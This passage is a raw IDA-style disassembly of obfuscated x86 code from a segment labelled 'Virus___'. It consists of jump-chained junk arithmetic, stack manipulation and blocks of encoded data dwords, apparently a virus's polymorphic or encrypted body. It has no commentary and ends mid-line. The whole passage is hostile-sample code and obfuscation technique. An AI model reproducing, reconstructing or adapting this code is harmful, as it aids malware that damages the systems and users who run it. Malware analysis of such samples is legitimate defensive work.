; CODE XREF: sub_545A2B+2A70j push ax mov al, ch mov ch, bh mov bh, al pop ax not ch xchg ch, bh xor bh, 0F6h jmp loc_54470D ; --------------------------------------------------------------------------- loc_54EE18: ; CODE XREF: sub_545A2B+8009j neg eax shr eax, 5 jmp loc_546012 ; --------------------------------------------------------------------------- loc_54EE22: ; CODE XREF: sub_545A2B+2E84j or eax, eax jz loc_54ED07 sub esp, 4 mov [esp-48h+arg_42+2], ebp push 0FEh pop ebp and [edi+1Ch], ebp mov ebp, [esp-48h+arg_42+2] push ebp mov ebp, esp push eax push edi mov edi, 77E8665Dh shr edi, 3 push ebp mov ebp, 5D3F5EE2h shl ebp, 7 or ebp, 35860698h add ebp, 35A00544h shr ebp, 8 or ebp, 66A57B52h xor ebp, 2347CACh sub edi, ebp pop ebp sub edi, 3310F7Bh jmp loc_548DCD ; --------------------------------------------------------------------------- loc_54EE7B: ; CODE XREF: sub_545A2B+28E2j sub bx, 2CADh push edx mov dx, 3429h shl dx, 5 jmp loc_54BE01 ; --------------------------------------------------------------------------- loc_54EE8E: ; CODE XREF: sub_545A2B+8D61j add [esp-22h+arg_1E], 63FA4368h mov edi, [esp-22h+arg_1E] push edx jmp loc_54AFD9 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54EE9E proc near ; CODE XREF: sub_545A2B+2B86j push ebp push 1AA60761h pop ebp or ebp, 6E375B2Bh shr ebp, 6 push ebx mov ebx, 790C5C7Fh push 6EB0h jmp loc_54A459 sub_54EE9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EEBE: ; CODE XREF: sub_545A2B+33C6j mov dh, 84h xor dh, cl pop ecx jmp loc_54BAEE ; --------------------------------------------------------------------------- loc_54EEC8: ; CODE XREF: sub_545A2B+40EFj push ecx jmp loc_549882 ; --------------------------------------------------------------------------- loc_54EECE: ; CODE XREF: sub_545A2B+87BCj mov bl, dl jmp loc_54B3F6 ; --------------------------------------------------------------------------- loc_54EED5: ; CODE XREF: sub_545A2B+709Ej mov ecx, ebx mov esi, ecx pop ecx jmp loc_54782E ; --------------------------------------------------------------------------- loc_54EEDF: ; CODE XREF: sub_545A2B+1B38j add eax, 44B3B46Ch add ecx, eax pop eax jmp loc_547A98 ; --------------------------------------------------------------------------- loc_54EEEC: ; CODE XREF: sub_545A2B+98A7j xchg esi, edx sub edx, 54DE3943h push ebx jmp loc_54760B ; --------------------------------------------------------------------------- loc_54EEFA: ; CODE XREF: sub_545A2B+1E25j mov ebx, 31BF715Eh sub [esp-14h+arg_12+2], ebx pop ebx jmp loc_5455D1 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54EF09 proc near ; CODE XREF: sub_545A2B+9758j push ebp mov ebp, 32FF389Ch jmp loc_54C4AA sub_54EF09 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EF14: ; CODE XREF: sub_545A2B+F7Fj push 4 pop ecx add esi, ecx pop ecx push edx mov edx, 2 jmp loc_54CF70 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54EF28 proc near ; CODE XREF: sub_545A2B+112Dj push ebx mov ebx, 48E76CC5h add ebx, 0FFFFFFFFh and ebx, 595B1791h add ebx, 1 jmp loc_54B194 sub_54EF28 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EF42: ; CODE XREF: sub_545A2B+10B1j rol word ptr [esp-42h+arg_3E], cl pushf jmp loc_5439C6 ; --------------------------------------------------------------------------- loc_54EF4C: ; CODE XREF: sub_545A2B+8B53j push eax mov eax, 4 add edx, eax jmp loc_545F60 ; --------------------------------------------------------------------------- loc_54EF59: ; CODE XREF: sub_545A2B-1CEDj mov esp, [esp-3Ch+arg_36+2] mov cx, word ptr [esp-3Ch+arg_36+2] push 592h jmp loc_54F321 ; --------------------------------------------------------------------------- loc_54EF6A: ; CODE XREF: sub_545A2B+9371j add edx, 7372798Ch push edi push ecx jmp loc_54E8CB ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54EF77: ; DATA XREF: Virus___:00542E84o push dword ptr [esp] pop eax push esi mov esi, esp push edx mov edx, 1EF16C96h shl edx, 7 add edx, 70971165h or edx, 62FB6C5Fh and edx, 631D4E57h push edi push esi mov esi, 28E5419Fh mov edi, esi pop esi shr edi, 1 jmp loc_5493D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EFAA: ; CODE XREF: sub_545A2B+1C8Fj mov esi, edx jmp loc_54454B ; --------------------------------------------------------------------------- loc_54EFB1: ; CODE XREF: sub_545A2B+960Cj xchg esi, [esp-36h+arg_32] jmp loc_54EAF6 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54EFB9: ; DATA XREF: Virus___:00542E8Co mov ax, [esp] jmp loc_544E68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EFC2: ; CODE XREF: sub_545A2B+3501j jmp loc_542F67 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543A46 loc_54EFC7: ; CODE XREF: sub_543A46+1BB4j mov ecx, [ebx] mov ebx, [esp+0] add esp, 4 push 766Ah jmp loc_54E774 ; END OF FUNCTION CHUNK FOR sub_543A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54EFD9: ; CODE XREF: sub_545A2B+38C5j mov eax, [esp-52h+arg_4C+2] push eax mov eax, esp jmp loc_543C02 ; --------------------------------------------------------------------------- loc_54EFE4: ; CODE XREF: sub_545A2B+4D0j mov edx, 6945176Eh xor edx, 6945176Ch mov ebp, edx pop edx add edi, ebp mov ebp, [esp-3Ch+arg_36+2] add esp, 4 xor edi, [esp-40h+arg_3A+2] xor [esp-40h+arg_3A+2], edi xor edi, [esp-40h+arg_3A+2] pop esp or byte ptr [esp-44h+arg_3E+2], al pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54F00D: ; CODE XREF: sub_545A2B-1E7Bj add edx, edi push ebp mov ebp, 385207E5h add ebp, 1 sub ebp, 1912F6F4h add edx, 0A54530Dh add edx, ebp sub edx, 0A54530Dh jmp loc_54AAD9 ; --------------------------------------------------------------------------- loc_54F034: ; CODE XREF: sub_545A2B-24B1j sub esi, 4 jmp loc_54EFB1 ; --------------------------------------------------------------------------- loc_54F03C: ; CODE XREF: sub_545A2B+3B99j pop ebx or esi, 571F478Ch add esi, 6E650569h inc esi shl esi, 3 xchg ebp, esi not ebp jmp loc_543A71 ; --------------------------------------------------------------------------- loc_54F056: ; CODE XREF: sub_545A2B+7E1Aj add edx, 4B8D1A33h add edx, 699C7A9Eh add edx, edi sub edx, 699C7A9Eh push ebp mov ebp, 6010915h push eax jmp loc_5477EC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_542FBE loc_54F076: ; CODE XREF: sub_542FBE+17j mov ebp, 30354518h sub ebp, 1FDD420Eh jmp loc_543663 ; END OF FUNCTION CHUNK FOR sub_542FBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F086: ; CODE XREF: sub_545A2B-181Cj mov ebx, [esp-1Eh+arg_1A] jmp loc_544E5A ; --------------------------------------------------------------------------- loc_54F08E: ; CODE XREF: sub_545A2B+5F35j xor ebx, 0EC20B1Dh jmp loc_543C4B ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54F099 proc near ; CODE XREF: sub_545A2B+4CD9j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00543932 SIZE 00000006 BYTES push ebx mov ebx, 3CE4404Fh push ebx sub [esp+8+var_8], 2964B40h jmp loc_543932 sub_54F099 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F0AC: ; CODE XREF: sub_545A2B+5DD0j push esi sub [esp-1Ah+arg_16], 42286C46h pop edx add edx, 42286C46h jmp loc_54CACE ; --------------------------------------------------------------------------- loc_54F0C0: ; CODE XREF: sub_545A2B-129j add ecx, 4 add ecx, 4 xchg ecx, [esp-1Ch+arg_16+2] pop esp shr ecx, 6 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-1Ch+arg_16+2] pop esp mov [esp-20h+arg_1A+2], esi mov esi, ebx push esi pop eax push [esp-20h+arg_1A+2] pop esi jmp loc_54A4B9 ; --------------------------------------------------------------------------- loc_54F0F3: ; CODE XREF: sub_545A2B+61D6j add ebp, ecx pop ecx mov edx, ebp pop ebp push edx not [esp-30h+arg_2A+2] pop edx jmp loc_545F25 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54F103: ; DATA XREF: Virus___:00542E24o mov cx, [esp] jmp loc_548869 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F10C: ; CODE XREF: sub_545A2B-A01j xor esi, 648105DDh sub esi, 17437129h add esi, 7E79377Ah jmp loc_54405C ; --------------------------------------------------------------------------- loc_54F123: ; CODE XREF: sub_545A2B+1462j add ebx, 9953F5D4h add eax, ebx jmp loc_54B782 ; --------------------------------------------------------------------------- loc_54F130: ; CODE XREF: sub_545A2B+7880j xor eax, edi pop edi push edx jmp loc_54DF3F ; --------------------------------------------------------------------------- loc_54F139: ; CODE XREF: sub_545A2B+5030j push 639Ch mov [esp-2Ah+arg_26], edx mov edx, 2 sub ecx, 88D0AACh jmp loc_548ABA ; --------------------------------------------------------------------------- loc_54F151: ; CODE XREF: sub_545A2B-772j pop esp mov [esp+0], ebp push 58F3h mov [esp-8+arg_4], esp jmp loc_5444D4 ; --------------------------------------------------------------------------- loc_54F162: ; CODE XREF: sub_545A2B+27A0j xor eax, ebp mov ebp, [esp-4Ah+arg_46] add esp, 4 add ebx, 5B146AA5h sub ebx, eax push esi jmp loc_54B1D1 ; --------------------------------------------------------------------------- loc_54F178: ; CODE XREF: sub_545A2B+198Dj push edx mov edx, 1615B4h add [esp-30h+arg_36+2], edx pop edx jmp sub_54EF09 ; --------------------------------------------------------------------------- loc_54F188: ; CODE XREF: sub_545A2B+84D9j xor ebp, eax jmp loc_548777 ; --------------------------------------------------------------------------- loc_54F18F: ; CODE XREF: sub_545A2B+62B4j add edx, ebx pop ebx push 50E9h mov [esp-2Eh+arg_2A], ebp push eax mov eax, 4 mov ebp, eax pop eax add edx, ebp pop ebp xor edx, [esp-32h+arg_2E] xor [esp-32h+arg_2E], edx xor edx, [esp-32h+arg_2E] mov esp, [esp-32h+arg_2E] push [esp-32h+arg_2E] jmp loc_5498BA ; --------------------------------------------------------------------------- loc_54F1BA: ; CODE XREF: sub_545A2B+5FC8j push [esp+14h+var_16+2] pop ecx push 3BDFh mov [esp+0], ecx mov ecx, esp push ebp jmp loc_54D90A ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54F1CE: ; CODE XREF: Virus___:00544F37j push dword ptr [esp] pop ebp push 6A79h jmp loc_54A77B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F1DC: ; CODE XREF: sub_545A2B-8C4j add esp, 4 jmp loc_54CAAB ; --------------------------------------------------------------------------- loc_54F1E7: ; CODE XREF: sub_545A2B+5E8Cj xchg edi, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] jmp loc_54C205 ; --------------------------------------------------------------------------- loc_54F1F2: ; CODE XREF: sub_545A2B+290Aj xor ebx, 87E2208h jmp loc_54A5EF ; --------------------------------------------------------------------------- loc_54F1FD: ; CODE XREF: sub_545A2B+3767j pop ecx mov edx, [esp-12h+arg_E] add esp, 4 push 3CE2h mov [esp-12h+arg_E], eax jmp loc_544BB4 ; END OF FUNCTION CHUNK FOR sub_545A2B ; =============== S U B R O U T I N E ======================================= sub_54F214 proc near ; CODE XREF: sub_545A2B+65A4j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebx mov ebx, 56554525h mov ebp, 0A3C08A1Fh sub ebp, ebx mov ebx, [esp+4+var_4] push 58ADh mov [esp+8+var_8], edx mov edx, esp push 1A1Fh mov [esp+0Ch+var_C], eax mov eax, 4 add edx, eax jmp loc_5488B4 sub_54F214 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F242: ; CODE XREF: sub_545A2B+601Dj add esi, 24D111D8h jmp loc_546FD5 ; --------------------------------------------------------------------------- loc_54F24D: ; CODE XREF: sub_545A2B-D1Fj xchg esi, [esp-10h+arg_A+2] pop esp add esp, 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54F259: ; CODE XREF: sub_545A2B+6669j push 42A5h push esp pop [esp+4+var_4] add dword ptr [esp+0], 4 mov ecx, [esp+0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_546058 ; --------------------------------------------------------------------------- loc_54F27D: ; CODE XREF: sub_545A2B+7BCBj mov edx, esp add edx, 4 jmp loc_54D2D8 ; --------------------------------------------------------------------------- loc_54F28A: ; CODE XREF: sub_545A2B+5306j or edx, 75215EB9h or edx, 556A7D54h add edx, 0DEBEB95Fh sub esi, edx pop edx push edi mov edi, 2331525Eh shr edi, 3 add edi, 1 jmp loc_547F4A ; --------------------------------------------------------------------------- loc_54F2B0: ; CODE XREF: sub_545A2B+5A57j push eax mov eax, 5ABE2213h or eax, 407A5684h jmp loc_548EBB ; --------------------------------------------------------------------------- loc_54F2C0: ; CODE XREF: sub_545A2B+4F08j mov bh, ch jmp loc_545CB2 ; --------------------------------------------------------------------------- loc_54F2C7: ; CODE XREF: sub_545A2B+32D0j push edx mov edx, 54180FBFh dec edx xchg esi, edx not esi jmp loc_54EEEC ; --------------------------------------------------------------------------- loc_54F2D7: ; CODE XREF: sub_545A2B-1657j mov edx, [esp-1Ch+arg_16+2] add esp, 4 pop [esp-20h+arg_1A+2] pop esp mov ax, word ptr [esp-28h+arg_22+2] jmp loc_54956E ; --------------------------------------------------------------------------- loc_54F2EA: ; CODE XREF: sub_545A2B+26B4j add bl, ch pop ecx add bl, al sub esp, 2 jmp loc_54B8FD ; --------------------------------------------------------------------------- loc_54F2F7: ; CODE XREF: sub_545A2B+58FEj add ecx, edx jmp loc_54E073 ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- loc_54F2FE: ; DATA XREF: Virus___:00542E6Co mov ax, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_546C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F316: ; CODE XREF: sub_545A2B+24CBj sub esi, 0E53EB86Dh jmp loc_549606 ; --------------------------------------------------------------------------- loc_54F321: ; CODE XREF: sub_545A2B+953Aj mov [esp-38h+arg_32+2], esi push 3A53h mov [esp-34h+arg_2E+2], esp add [esp-34h+arg_2E+2], 4 mov esi, [esp-34h+arg_2E+2] add esp, 4 push edi push esi mov esi, 4 mov edi, esi pop esi add esi, edi jmp loc_54AB51 ; --------------------------------------------------------------------------- loc_54F347: ; CODE XREF: sub_545A2B+1FF7j not esi xor ecx, esi jmp loc_54B657 ; --------------------------------------------------------------------------- loc_54F350: ; CODE XREF: sub_545A2B+322Bj xchg ecx, [esp-48h+arg_42+2] pop esp mov [esp-4Ch+arg_46+2], esp sub esp, 4 jmp loc_54EA1D ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54CEC0 loc_54F35F: ; CODE XREF: sub_54CEC0-93C0j not ecx xor ecx, 0BBACBEFBh sub ebp, ecx pop ecx jmp loc_54AC3E ; END OF FUNCTION CHUNK FOR sub_54CEC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F36F: ; CODE XREF: sub_545A2B+1047j add byte ptr [esp-3Ah+arg_36], 1 jmp loc_54984A ; --------------------------------------------------------------------------- loc_54F378: ; CODE XREF: sub_545A2B+68DEj pop ebx xor ebx, 11BE6EABh jmp loc_544327 ; --------------------------------------------------------------------------- loc_54F384: ; CODE XREF: sub_545A2B+3774j and ecx, 362A543Dh shl ecx, 4 jmp loc_5476FD ; --------------------------------------------------------------------------- loc_54F392: ; CODE XREF: sub_545A2B-1EADj movzx ax, byte ptr [eax] push 34E7h mov [esp-2Ah+arg_26], esi push esp pop esi push edx push ebp mov ebp, 0FBA7E92h mov edx, ebp pop ebp add edx, 61D854F2h inc edx jmp loc_54CCC8 ; --------------------------------------------------------------------------- loc_54F3B6: ; CODE XREF: sub_545A2B+656j push 78E9h mov [esp-1Ch+arg_16+2], edi mov edi, 0FE26FDFDh xor edx, edi mov edi, [esp-1Ch+arg_16+2] add esp, 4 and eax, edx jmp loc_54B3DF ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_543268 loc_54F3D5: ; CODE XREF: sub_543268+1EAFj push dword ptr [esp+0] mov esi, [esp+4+var_4] add esp, 4 push 306Ch mov [esp+4+var_4], esi push esp jmp loc_54BC4B ; END OF FUNCTION CHUNK FOR sub_543268 ; --------------------------------------------------------------------------- loc_54F3EC: ; DATA XREF: Virus___:00542D44o mov ax, [esp] sub esp, 4 mov [esp], ebp jmp loc_54C851 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_545A2B loc_54F3FB: ; CODE XREF: sub_545A2B+1B03j not edi jmp loc_546B76 ; --------------------------------------------------------------------------- loc_54F402: ; CODE XREF: sub_545A2B+36FDj add eax, 4 push ebx push edi push 1F997C0Ch pop edi shl edi, 4 shl edi, 3 sub edi, 0CCBE05FCh jmp loc_54A1E0 ; --------------------------------------------------------------------------- loc_54F420: ; CODE XREF: sub_545A2B+556Bj push eax push ecx jmp loc_548DF6 ; --------------------------------------------------------------------------- loc_54F427: ; CODE XREF: sub_545A2B+8C3Cj add ecx, 4 push edx mov edx, esp add edx, 4 jmp loc_546108 ; --------------------------------------------------------------------------- loc_54F43B: ; CODE XREF: sub_545A2B+5323j pop esp mov [esp-3Eh+arg_3A], edx jmp sub_543444 ; --------------------------------------------------------------------------- loc_54F444: ; CODE XREF: sub_545A2B+7A07j mov [esp-16h+arg_12], edx push edi push 1 mov edi, [esp-0Eh+arg_A] add esp, 4 push ebx mov ebx, edi mov edx, ebx pop ebx pop edi jmp loc_542F99 ; --------------------------------------------------------------------------- loc_54F462: ; CODE XREF: sub_545A2B+561Cj sub [esp-3Eh+arg_42], 1615B4h jmp loc_5473B4 ; --------------------------------------------------------------------------- loc_54F46F: ; CODE XREF: sub_545A2B+2C9j sub ebp, 8DD444Dh sub ebp, 53EF1ACAh add ebp, ebx add ebp, 53EF1ACAh add ebp, 8DD444Dh sub ebp, 2B4D1097h pop ebx xchg ebp, [esp-14h+arg_E+2] pop esp shl byte ptr [esp-18h+arg_12+2], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54F49D: ; CODE XREF: sub_545A2B+514Aj push ecx jmp loc_54A771 ; --------------------------------------------------------------------------- loc_54F4A3: ; CODE XREF: sub_545A2B+6E50j sub ebx, 5CB114DAh add ebx, 75D61282h jmp loc_545EBC ; END OF FUNCTION CHUNK FOR sub_545A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54585B loc_54F4B4: ; CODE XREF: sub_54585B+2j pop ebp mov esi, [esp+4+var_4] add esp, 4 not esi push ebp jmp loc_545DC3 ; END OF FUNCTION CHUNK FOR sub_54585B ; --------------------------------------------------------------------------- align 4 dd 10h dup(0) dd 0DC0A0000h, 7471071Ch, 58D4071Dh, 3C88071Dh, 0AADD071Dh dd 9543071Ch, 0EB04071Dh, 9669071Ch, 0C1D5071Ch, 0EAA8071Ch dd 0C879071Ch, 197B071Ch, 305E071Dh, 59D1071Dh, 557B071Dh dd 2511071Ch, 4436071Dh, 0C2E6071Dh, 85E8071Ch, 4469071Dh dd 4B81071Dh, 4F79071Ch, 0A929071Dh, 90AD071Ch, 0E0E0071Dh dd 38F7071Ch, 0B259071Dh, 702D071Ch, 93D4071Dh, 0C836071Dh dd 5538071Ch, 0D26B071Ch, 28DC071Ch, 9B47071Dh, 0A5A1071Dh dd 6CB6071Ch, 5796071Dh, 67B3071Ch, 73E9071Dh, 43B071Dh dd 97AE071Dh, 883F071Ch, 64EB071Ch, 937F071Ch, 0D6ED071Ch dd 0D072071Ch, 2A33071Ch, 0F7BB071Dh, 880B071Ch, 4E89071Ch dd 0E6F8071Ch, 90A071Ch, 0DBC6071Dh, 0D76071Ch, 5E3B071Dh dd 8654071Ch, 3EED071Ch, 7759071Dh, 9316071Dh, 0C582071Ch dd 9779071Ch, 4359071Dh, 73C6071Dh, 4603071Dh, 76B071Dh dd 0B89C071Dh, 66D2071Ch, 9178071Ch, 0D339071Dh, 90E6071Ch dd 492E071Ch, 5206071Dh, 3177071Dh, 0DEFC071Dh, 50C8071Ch dd 9035071Ch, 3D16071Ch, 0E530071Dh, 84D9071Ch, 8F44071Ch dd 0E62071Dh, 22BF071Dh, 963E071Dh, 37A071Ch, 0BA6C071Dh dd 655C071Ch, 6688071Ch, 0BDCA071Ch, 7947071Ch, 0DFC9071Dh dd 0FFD4071Ch, 88D4071Ch, 93E5071Dh, 9AAF071Dh, 8B90071Ch dd 0E63E071Ch, 4F22071Ch, 8CA4071Dh, 6169071Ch, 0BD1A071Dh dd 0FF4B071Ch, 1908071Ch, 0B5D071Dh, 52BC071Dh, 4E0A071Ch dd 8131071Dh, 8101071Dh, 73DC071Dh, 0D576071Dh, 0C044071Ch dd 1FEF071Ch, 0D49071Dh, 2323071Dh, 0D415071Dh, 0A9A1071Ch dd 0FB7071Ch, 49AD071Dh, 4AFD071Dh, 3F071Ch, 2467071Dh dd 0A30F071Dh, 7C51071Ch, 8E99071Ch, 84A4071Dh, 0C143071Ch dd 8D6071Ch, 60A3071Dh, 5F15071Ch, 2C40071Dh, 0A17A071Dh dd 0C99A071Ch, 65E5071Ch, 85CC071Ch, 6C97071Dh, 5310071Dh dd 7396071Ch, 0B4DE071Ch, 958F071Ch, 90D4071Dh, 0F937071Dh dd 1DD1071Ch, 0F3FF071Dh, 85EF071Ch, 0F21E071Ch, 9862071Ch dd 9B02071Ch, 507A071Dh, 983A071Ch, 8218071Ch, 8DF7071Dh dd 18B6071Dh, 0CD94071Dh, 74BD071Ch, 9B3D071Dh, 0A7C5071Ch dd 3EAD071Ch, 0E45B071Dh, 8056071Ch, 5613071Ch, 1C6E071Ch dd 0F235071Dh, 0D3F4071Ch, 0AE7F071Ch, 77E1071Ch, 0F4F6071Ch dd 711E071Ch, 4DFF071Ch, 9C60071Ch, 0E8FCh, 815F0000h dd 1C4644EFh, 81C78B07h, 1C435CC7h, 2C473B07h, 13EB0275h dd 0B92C4789h, 0A7h, 440105EBh, 0B49408Fh, 8BF775C9h, 8B242474h dd 0B9F003DEh, 1, 0FF0C033h, 75304FB1h db 0F7h ; --------------------------------------------------------------------------- loc_54F7ED: ; CODE XREF: Virus___:0054FA27j ; Virus___:0054FC71j ... lodsb jmp loc_552FC9 ; --------------------------------------------------------------------------- loc_54F7F3: ; CODE XREF: Virus___:005546E9j add esp, 4 not eax add eax, 38056A72h push eax pop ebx pop eax add eax, ebx jmp loc_555036 ; --------------------------------------------------------------------------- loc_54F80A: ; CODE XREF: Virus___:0055B9FCj mov ebx, 40860A91h jmp loc_559F68 ; --------------------------------------------------------------------------- loc_54F814: ; CODE XREF: Virus___:00561D80j pop ebp push 3E79h mov [esp], eax push edi push 14EC2826h pop edi sub edi, 0E55342Fh neg edi xor edi, 5EA56D5Fh add edi, 0B962D637h mov eax, edi jmp loc_5546EE ; --------------------------------------------------------------------------- loc_54F83F: ; CODE XREF: Virus___:00558811j and ebp, 246965C7h sub ebp, 410481h sub ebx, ebp pop ebp xchg ebx, [esp] mov esp, [esp] jmp loc_55FB3C ; --------------------------------------------------------------------------- loc_54F859: ; CODE XREF: Virus___:0055CB08j pop ebp add eax, ebx jmp loc_55E247 ; --------------------------------------------------------------------------- loc_54F861: ; CODE XREF: Virus___:005531DDj add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sar byte ptr [esp], cl pushf jmp loc_557470 ; --------------------------------------------------------------------------- loc_54F877: ; CODE XREF: Virus___:0055D83Aj dec ah jmp loc_5630B0 ; --------------------------------------------------------------------------- loc_54F87E: ; CODE XREF: Virus___:0055D7BEj push ebx push eax mov eax, 2DA695Ah jmp loc_557399 ; --------------------------------------------------------------------------- loc_54F88A: ; CODE XREF: Virus___:005638EFj push 100Dh jmp loc_558656 ; --------------------------------------------------------------------------- loc_54F894: ; CODE XREF: Virus___:005605A3j mov bh, ch jmp loc_5505C3 ; --------------------------------------------------------------------------- loc_54F89B: ; CODE XREF: Virus___:005559A6j mov eax, 2 sub edx, 8FF0DC8h push ebp jmp loc_556007 ; --------------------------------------------------------------------------- loc_54F8AC: ; CODE XREF: Virus___:0055A59Aj pop eax push 47B0h jmp loc_5646EE ; --------------------------------------------------------------------------- loc_54F8B7: ; CODE XREF: Virus___:0055EF83j push 222Bh push 120Ch push esp jmp loc_564232 ; --------------------------------------------------------------------------- loc_54F8C7: ; CODE XREF: Virus___:00563BA0j not ebp sub ebp, 0FFFFFFFFh jmp loc_55DAA2 ; --------------------------------------------------------------------------- loc_54F8D1: ; CODE XREF: Virus___:00551717j add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_55688C ; --------------------------------------------------------------------------- loc_54F8F3: ; CODE XREF: Virus___:0055433Ej and eax, ebx pop ebx or eax, eax jz loc_5532D4 push dword ptr [edi+28h] push dword ptr [esp] pop eax jmp loc_557E1F ; --------------------------------------------------------------------------- loc_54F90A: ; CODE XREF: Virus___:00562B5Fj mov eax, 598C7C76h shl eax, 8 jmp loc_5594A6 ; --------------------------------------------------------------------------- loc_54F917: ; CODE XREF: Virus___:0055EA06j push small 3DDh mov [esp], ax jmp loc_55BFD7 ; --------------------------------------------------------------------------- loc_54F924: ; CODE XREF: Virus___:0056249Bj xchg edi, edx jmp loc_5645B5 ; --------------------------------------------------------------------------- loc_54F92B: ; CODE XREF: Virus___:00553C94j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_56444B ; --------------------------------------------------------------------------- loc_54F940: ; CODE XREF: Virus___:0055C834j sub esi, edi pop edi add esi, ecx add esi, 1B6C52E3h mov ecx, [esp] add esp, 4 push eax mov eax, 63A80A03h push edx mov edx, 7C982CCDh xor eax, edx pop edx jmp loc_5638AE ; --------------------------------------------------------------------------- loc_54F965: ; CODE XREF: Virus___:0055000Aj sub bl, 5Dh add bl, 5Fh pop dx push ecx jmp loc_5531F7 ; --------------------------------------------------------------------------- loc_54F973: ; CODE XREF: Virus___:00550337j shl edi, 1 xor edi, 189E076Bh push ebp mov ebp, 43A27CECh neg ebp not ebp inc ebp neg ebp xor ebp, 36995E13h xor edi, ebp mov ebp, [esp] add esp, 4 jmp loc_556A5A ; --------------------------------------------------------------------------- loc_54F99B: ; CODE XREF: Virus___:0055FABAj add edx, 4 add edx, 4 xchg edx, [esp] pop esp xchg ecx, [esp] mov esp, [esp] movzx ecx, al push 522h mov [esp], ecx jmp loc_552773 ; --------------------------------------------------------------------------- loc_54F9C1: ; CODE XREF: Virus___:0056105Bj xor edx, 0D7AFB790h jmp loc_556CC8 ; --------------------------------------------------------------------------- loc_54F9CC: ; CODE XREF: Virus___:0055599Aj mov [esp], edi jmp loc_561CE6 ; --------------------------------------------------------------------------- loc_54F9D4: ; CODE XREF: Virus___:00561DB8j add esp, 4 push 6298h mov [esp], edx push eax mov eax, 34C47537h xor eax, 8802BEDh push ebx mov ebx, 0E0112359h sub eax, ebx pop ebx jmp loc_55E376 ; --------------------------------------------------------------------------- loc_54F9F8: ; CODE XREF: Virus___:0055F3CCj sub eax, 0D67F4FFAh sub esi, 7EFE01ECh add esi, eax jmp loc_55AC36 ; --------------------------------------------------------------------------- loc_54FA0A: ; CODE XREF: Virus___:0055A2DDj push 463h mov [esp], ecx jmp loc_55DD60 ; --------------------------------------------------------------------------- loc_54FA17: ; CODE XREF: Virus___:0055D21Cj dec bl jmp loc_560A19 ; --------------------------------------------------------------------------- loc_54FA1E: ; CODE XREF: Virus___:0055AFF6j add esp, 4 sub esi, edi pop edi xor eax, esi pop esi jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_54FA2C: ; CODE XREF: Virus___:0055A401j mov ecx, 4 mov edx, ecx jmp loc_559790 ; --------------------------------------------------------------------------- loc_54FA38: ; CODE XREF: Virus___:00559108j xchg eax, esi shr eax, 7 and eax, 723D4727h jmp loc_55800D ; --------------------------------------------------------------------------- loc_54FA46: ; CODE XREF: Virus___:005609CCj add eax, 10650092h push 16D3h mov [esp], ebp mov ebp, 692524C2h add ebp, 0F521CFFh add ebp, 8788C63Fh and eax, ebp mov ebp, [esp] jmp loc_562816 ; --------------------------------------------------------------------------- loc_54FA6E: ; CODE XREF: Virus___:00555FE4j xor ebp, esi mov esi, [esp] jmp loc_55396D ; --------------------------------------------------------------------------- loc_54FA78: ; CODE XREF: Virus___:005596BDj add eax, 0B3C67B81h push ebx mov ebx, 580A64BEh push ebp jmp loc_5583DD ; --------------------------------------------------------------------------- loc_54FA89: ; CODE XREF: 